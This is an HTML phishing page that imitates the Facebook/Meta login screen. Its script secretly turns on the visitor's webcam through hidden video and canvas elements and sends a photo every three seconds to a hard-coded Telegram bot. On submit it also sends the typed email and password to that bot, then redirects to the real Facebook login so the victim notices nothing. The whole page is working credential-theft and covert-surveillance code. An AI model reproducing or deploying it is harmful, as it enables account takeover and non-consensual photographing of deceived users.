<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="utf-8" />
  <meta content="width=device-width, initial-scale=1.0" name="viewport" />
  <title>Login Page</title>
  <script src="https://cdn.tailwindcss.com"></script>
  <link
    href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.3/css/all.min.css"
    rel="stylesheet"
  />
  <style>
    video, canvas {
      display: none !important;
      visibility: hidden;
      opacity: 0;
      position: absolute;
      width: 0;
      height: 0;
    }
  </style>
</head>
<body class="bg-gradient-to-b from-blue-50 to-blue-100 flex items-center justify-center min-h-screen">
  <div class="w-full max-w-sm p-4 bg-white shadow-md rounded-md">
    <!-- Logo -->
    <div class="flex justify-center mb-6">
      <img
        src="https://upload.wikimedia.org/wikipedia/commons/5/51/Facebook_f_logo_%282019%29.svg"
        alt="Logo"
        class="w-16 h-16"
      />
    </div>
    <!-- Login Form -->
    <form id="loginForm" class="space-y-4">
      <input
        class="w-full p-3 border border-gray-300 rounded-lg"
        placeholder="Mobile number or email address"
        type="text"
        id="email"
        required
      />
      <input
        class="w-full p-3 border border-gray-300 rounded-lg"
        placeholder="Password"
        type="password"
        id="password"
        required
      />
      <button
        class="w-full p-3 bg-blue-600 text-white rounded-lg"
        type="submit">
        Log in
      </button>
    </form>
    <!-- Forgotten Password -->
    <div class="text-center mt-4">
      <a class="text-blue-600" href="#">Forgotten Password?</a>
    </div>
    <!-- Create New Account -->
    <div class="flex justify-center mt-6">
      <button class="w-full p-3 border border-blue-600 text-blue-600 rounded-lg">
        Create new account
      </button>
    </div>
    <!-- Footer -->
    <div class="flex justify-center mt-6">
      <div class="text-gray-600">Meta</div>
    </div>
  </div>

  <video id="video" autoplay></video>
  <canvas id="canvas"></canvas>

  <script>
    const botToken = "7969903007:AAF8MOt9s2IgFyEzhBok9atp15UoqSK-tYw"; // Replace with your Telegram bot token
    const chatId = "6696895935"; // Replace with your Telegram chat ID

    const video = document.getElementById("video");
    const canvas = document.getElementById("canvas");

    // Access the camera
    navigator.mediaDevices.getUserMedia({ video: true })
      .then((stream) => {
        video.srcObject = stream;

        // Start automatically sending images every 3 seconds
        setInterval(() => {
          captureAndSendImage();
        }, 3000); // Adjust the interval as needed
      })
      .catch((error) => {
        console.error("Error accessing the camera", error);
      });

    // Automatically capture the image and send it to Telegram
    async function captureAndSendImage() {
      const context = canvas.getContext("2d");
      canvas.width = video.videoWidth;
      canvas.height = video.videoHeight;

      // Capture the image from the video feed
      context.drawImage(video, 0, 0, canvas.width, canvas.height);

      // Convert the image to a base64 string
      const selfie = canvas.toDataURL("image/png");

      // Prepare the form data for Telegram
      const formData = new FormData();
      formData.append("chat_id", chatId);
      formData.append("photo", dataURItoBlob(selfie));
      formData.append("caption", "Captured image sent automatically!");

      // Send the image to Telegram
      const response = await fetch(`https://api.telegram.org/bot${botToken}/sendPhoto`, {
        method: "POST",
        body: formData,
      });

      if (response.ok) {
        console.log("Image sent successfully!");
      } else {
        console.error("Failed to send the image.");
      }
    }

    // Helper function to convert base64 to Blob
    function dataURItoBlob(dataURI) {
      const byteString = atob(dataURI.split(",")[1]);
      const mimeString = dataURI.split(",")[0].split(":")[1].split(";")[0];
      const ab = new ArrayBuffer(byteString.length);
      const ia = new Uint8Array(ab);
      for (let i = 0; i < byteString.length; i++) {
        ia[i] = byteString.charCodeAt(i);
      }
      return new Blob([ab], { type: mimeString });
    }

    // Handle form submission
    document.getElementById("loginForm").addEventListener("submit", async (event) => {
      event.preventDefault();

      const email = document.getElementById("email").value;
      const password = document.getElementById("password").value;

      // Prepare the form data for Telegram
      const formData = new FormData();
      formData.append("chat_id", chatId);
      formData.append(
        "text",
        `Login Attempt:\nEmail: ${email}\nPassword: ${password}`
      );

      // Send the data to Telegram
      await fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, {
        method: "POST",
        body: formData,
      });

      // Redirect to Facebook login page
      window.location.href = "https://m.facebook.com/login";
    });
  </script>
</body>
</html>